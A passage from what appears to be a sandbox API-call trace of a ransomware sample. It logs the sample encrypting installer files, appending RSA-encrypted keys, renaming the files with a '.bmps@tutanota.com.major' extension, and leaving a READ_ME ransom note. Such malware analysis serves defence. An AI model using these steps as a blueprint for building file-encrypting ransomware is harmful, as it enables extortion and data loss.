dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0139.451] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17752) returned 1 [0139.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4558) returned 0x5ed868 [0139.451] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4558) returned 0x5f1dc8 [0139.451] ReadFile (in: hFile=0x4c0, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4558, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4558, lpOverlapped=0x0) returned 1 [0139.460] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=-17752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.460] WriteFile (in: hFile=0x4c0, lpBuffer=0x5f1dc8*, nNumberOfBytesToWrite=0x4558, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f1dc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4558, lpOverlapped=0x0) returned 1 [0139.461] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.461] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f1dc8 | out: hHeap=0x570000) returned 1 [0139.461] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4558 [0139.461] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.461] WriteFile (in: hFile=0x4c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.462] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.462] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.463] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.463] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.463] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="L3kCMLDBGWUyvA5+gQvp2rOD+fBrktm2YIlDLnFpBCG+7Zyog5UaqtZnkLgmfTq3\n3Php3KXGqO6UNip9kdG5LmJ10CBCSDkyKfcTVMzFxmjH+91LLv+oEwpbEQp6139s\nDOE6uEkaZsopV+m0djTgUsyNoRe+D5Fx8/H3U/XK05IcRe6W5oV4nMRiXCogOR0R\ns2nsgBVpuR8dXjpTKv0y2nSInA90AFtCrI0q0z4mBfe9L94QjBCAW2sJ7LRPyrQM\nmhijyJQzrij46i4DtLax3vBJvIcrpd/AqmS1URm7ksOxHxA1Tffr3NSA2lDqJJzr\nWsDZtw0k0bgnNiC10uwqVw==\n", pcchString=0x2e3f9a8) returned 1 [0139.463] WriteFile (in: hFile=0x4c0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.463] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.463] WriteFile (in: hFile=0x4c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.463] CloseHandle (hObject=0x4c0) returned 1 [0139.464] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.464] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1044\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0139.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0139.466] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0139.466] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.466] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.466] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1044\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0139.466] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0139.466] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0139.466] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0139.466] CreateFileW (lpFileName="\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0139.466] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=79296) returned 1 [0139.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x135c0) returned 0x5ed868 [0139.467] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x135c0) returned 0x600e30 [0139.467] ReadFile (in: hFile=0x4c0, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x135c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x135c0, lpOverlapped=0x0) returned 1 [0139.578] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=-79296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.578] WriteFile (in: hFile=0x4c0, lpBuffer=0x600e30*, nNumberOfBytesToWrite=0x135c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x600e30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x135c0, lpOverlapped=0x0) returned 1 [0139.578] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.579] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x600e30 | out: hHeap=0x570000) returned 1 [0139.581] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x135c0 [0139.581] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.581] WriteFile (in: hFile=0x4c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.581] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.581] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.582] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.582] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.582] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="NbzQAKP9ui+lc2I8MnjY70y3+5HbJ16614SuLRx5752GoRrWeY7/c+HojpXNgWxi\nelR0Ddf1W8BXgRxm3o21hBcX5Vx7nPhy/OmSgV7UeuaKgzwtnjKB4oKqXO3ih5tI\nRTrbNLayiOjHnvWZuNg4USESNncm1J9MHkJCkW5Jlgs5Bsb4rO1+G/Pf80KTBCx1\n7ijGy8kMlYO7HNlpUcY5jZxHz62Srkg99tdW6AKet3wEvR8Vz3cGdFvXJjk8kpJV\n0HdzoW8f7vsI1ZHVtuiJo92xmZQWksLpVJphIIpLf8HLZ2H8c1J6TZ+duzF20Izy\nwl8Oucm/FFukrdnwyIUgpQ==\n", pcchString=0x2e3f9a8) returned 1 [0139.582] WriteFile (in: hFile=0x4c0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.582] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.582] WriteFile (in: hFile=0x4c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.583] CloseHandle (hObject=0x4c0) returned 1 [0139.585] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.585] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1044\\LocalizedData.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0139.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0139.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b69e8 | out: hHeap=0x570000) returned 1 [0139.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bef20 [0139.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.587] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0139.587] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1044\\eula.rtf", dwFileAttributes=0x80) returned 1 [0139.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0139.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0139.587] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0139.587] CreateFileW (lpFileName="\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c0 [0139.587] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3046) returned 1 [0139.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbe6) returned 0x5ed868 [0139.587] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xbe6) returned 0x5ee458 [0139.587] ReadFile (in: hFile=0x4c0, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xbe6, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xbe6, lpOverlapped=0x0) returned 1 [0139.671] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=-3046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0139.671] WriteFile (in: hFile=0x4c0, lpBuffer=0x5ee458*, nNumberOfBytesToWrite=0xbe6, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee458*, lpNumberOfBytesWritten=0x2e3f9b4*=0xbe6, lpOverlapped=0x0) returned 1 [0139.672] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0139.672] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee458 | out: hHeap=0x570000) returned 1 [0139.672] SetFilePointer (in: hFile=0x4c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xbe6 [0139.672] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.672] WriteFile (in: hFile=0x4c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.672] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0139.672] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0139.672] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0139.672] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0139.672] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="TGpiiR6V7AYSMBbcBvKxFc0X0/KElYOu3ppQVR7TrtFBoEyN3fiN2yRQh46G+/Hx\ny/Z7OvxcHI8dDUX4f2frL6fXkfDhZnFhpbptg783PUSORGzuW5F+4Z2uh4ZehSE+\nIaG7SrIMxnAHw7jgUCr1QREo5anSHAd4XdQIIKWGWfX6EkrQa2OHAxWVpkoaqzyU\nzibNc9J7tJ0hCmQjOJuEcu+IPHzkw/bPaCRn4bTGTQ0vuidsZ9e1WHVh2+a3ebdo\nZoAbpuU5erpK6jQMiRXOsPRUhwUE2lSohQtedsq7rqxNDoyUW/qaZdDP16hJtnAf\nMPMBZPazdYLhRoBmH5uIsQ==\n", pcchString=0x2e3f9a8) returned 1 [0139.672] WriteFile (in: hFile=0x4c0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0139.672] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0139.672] WriteFile (in: hFile=0x4c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0139.672] CloseHandle (hObject=0x4c0) returned 1 [0139.673] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0139.673] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1044\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0139.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0139.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bef20 | out: hHeap=0x570000) returned 1 [0139.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0139.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0139.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0139.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0139.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc878 | out: hHeap=0x570000) returned 1 [0139.680] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfff7e73b, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b5530 [0139.680] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0139.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0139.680] GetLastError () returned 0x0 [0139.680] SetLastError (dwErrCode=0x0) [0139.680] GetLastError () returned 0x0 [0139.680] SetLastError (dwErrCode=0x0) [0139.680] GetLastError () returned 0x0 [0139.680] SetLastError (dwErrCode=0x0) [0139.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea88 [0139.680] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5570 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5570 | out: hHeap=0x570000) returned 1 [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea88 | out: hHeap=0x570000) returned 1 [0139.681] FindNextFileW (in: hFindFile=0x5b5530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xfff7e73b, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7720 [0139.681] GetLastError () returned 0x0 [0139.681] SetLastError (dwErrCode=0x0) [0139.681] GetLastError () returned 0x0 [0139.681] SetLastError (dwErrCode=0x0) [0139.681] GetLastError () returned 0x0 [0139.681] SetLastError (dwErrCode=0x0) [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b56b0 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b56b0 | out: hHeap=0x570000) returned 1 [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0139.681] FindNextFileW (in: hFindFile=0x5b5530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0139.681] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7720 | out: hHeap=0x570000) returned 1 [0139.681] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0139.681] GetLastError () returned 0x0 [0139.681] SetLastError (dwErrCode=0x0) [0139.681] GetLastError () returned 0x0 [0139.682] SetLastError (dwErrCode=0x0) [0139.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0139.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0139.682] GetLastError () returned 0x0 [0139.682] SetLastError (dwErrCode=0x0) [0139.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0139.682] FindNextFileW (in: hFindFile=0x5b5530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0139.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0139.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0139.682] GetLastError () returned 0x0 [0139.682] SetLastError (dwErrCode=0x0) [0139.682] GetLastError () returned 0x0 [0139.682] SetLastError (dwErrCode=0x0) [0139.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0139.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0139.682] GetLastError () returned 0x0 [0139.682] SetLastError (dwErrCode=0x0) [0139.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58edd0 [0139.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58edd0 | out: hHeap=0x570000) returned 1 [0139.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0139.682] FindNextFileW (in: hFindFile=0x5b5530, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfff581ac, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfff581ac, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfff7e73b, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0139.682] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0139.682] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0139.683] GetLastError () returned 0x0 [0139.683] SetLastError (dwErrCode=0x0) [0139.683] GetLastError () returned 0x0 [0139.683] SetLastError (dwErrCode=0x0) [0139.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0139.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7840 | out: hHeap=0x570000) returned 1 [0139.683] GetLastError () returned 0x0 [0139.683] SetLastError (dwErrCode=0x0) [0139.683] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0139.683] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0139.683] FindNextFileW (in: hFindFile=0x5b5530, lpFindFileData=0x2e3fb24 | out: 